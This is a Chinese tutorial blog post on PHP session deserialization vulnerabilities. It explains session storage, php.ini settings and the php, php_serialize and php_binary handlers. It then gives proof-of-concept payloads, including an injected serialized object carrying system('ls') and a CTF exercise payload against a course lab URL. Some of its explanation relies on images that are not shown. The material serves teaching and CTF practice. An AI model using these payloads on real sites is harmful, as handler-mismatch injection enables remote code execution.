php反序列化漏洞——session反序列化漏洞

一.了解session

先了解一下什么是session

 session在网络应用中称为“会话控制”,是服务器为了保存用户状态而创建的一个特殊的对象。简而言之,session就是一个对象,用于存储信息。

session有什么用

        我们先来想一个问题,这个问题就是我们在游览购物网站时,我们并没有登录,但是我们任然可以将商品加入购物车,并且进行查看,当我们退出游览器后再打开游览器进行查看时,购物车中依然有我们选择的商品,这该怎么实现呢?

        当然,我们可以使用cookie,但是cookie能存放大量数据吗?这时,我们就需要一种新的技术,Session。session是存储于服务器端的特殊对象,服务器会为每一个游览器(客户端)创建一个唯一的session。这个session是服务器端共享,每个游览器(客户端)独享的。我们可以在session存储数据,实现数据共享。

PHP session工作流程

以PHP为例,理解session的原理

    PHP脚本使用 session_start()时开启session会话,会自动检测PHPSESSID
        如果Cookie中存在,获取PHPSESSID
        如果Cookie中不存在,创建一个PHPSESSID,并通过响应头以Cookie形式保存到浏览器
    初始化超全局变量$_SESSION为一个空数组
    PHP通过PHPSESSID去指定位置(PHPSESSID文件存储位置)匹配对应的文件
        存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION中
        不存在该文件: session_start()创建一个PHPSESSID命名文件
    程序执行结束,将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中

 

php.ini配置

php.ini里面有如下六个相对重要的配置

session.save_path=""      --设置session的存储位置
session.save_handler=""   --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start        --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php  
session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

phpstudy下上述配置如下:

session.save_path = "/tmp"      --所有session文件存储在/tmp目录下
session.save_handler = files    --表明session是以文件的方式来进行存储的
session.auto_start = 0          --表明默认不启动session
session.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php(反)序列化引擎
session.upload_progress.enabled on --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)

在phpstudy根目录下就可以找到temp文件

打开里面就是储存的session文件

上文中提到了 PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的,都是sess_sessionid形式

打开后就是序列化的内容

session.serialize_handler处理器

session.serialize_handler有三种处理器

处理器对应的存储格式
php键名 + 竖线 + 经过 serialize( 函数序列化处理的值
php serialize (php>=5.5.4)经过 serialize() 函数序列化处理的数组
php binary

键名的长度对应的 ASCII 字符 + 键名 + 经过serialize() 函数反序列处理的值

php处理器
<?php
echo "lcycb";
session_start();
$_SESSION['lcycb'] = $_GET['lcy'];

?lcy=cblcy

session文件里的内容是

lcycb|s:5:"cblcy";

php:键名 + 竖线 + 经过 serialize() 函数序列化处理的值

php_serialize处理器
<?php
echo "lcycb";
ini_set('session.serialize_handler', 'php_serialize'); //声明处理器
session_start();
$_SESSION['lcycb'] = $_GET['lcy'];

?lcy=cblcy

session文件里的内容是

a:1:{s:5:"lcycb";s:5:"cblcy";}

php_serialize:经过 serialize() 函数序列化处理的数组

php binary
<?php
echo "lcycb";
ini_set('session.serialize_handler', 'php_binary'); //声明处理器
session_start();
$_SESSION['lcycb'] = $_GET['lcy'];

?lcy=cblcy

php_binary:键名的长度对应的 ASCI 字符 + 键名 +经过 serialize() 函数序列化处理的值

漏洞产生原理

当网站序列化并存储Session
与反序列化并读取session的方式不同

就可能导致session反序列化漏洞的产生

eg:

这个是漏洞产生页面

这个是保存session的页面

在这个页面传参

构造poc

<?php
class D
{
  var $a = "system('ls');";
  
}
echo serialize(new D());

?a=|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}

我们传进去的session

通过php_serialize处理器保存的值应该是

a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}";}

在漏洞产生页面

读取session的时候

是以php处理器处理

a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}";}

它会以为红色部分就是键值名称

绿色部分就是需要反序列化的内容

于是乎把把反序列化D的值赋值给eval函数

从而产生漏洞

例题

http://bc.ccie.work:8002/class21/index.php

打开hint.php

构造poc

<?php
class Flag{
    public $name;
    public $her; 
}
$a = new Flag();
$a -> name = &$a ->her;
echo serialize($a);

payload:

?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

在漏洞产生页面即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值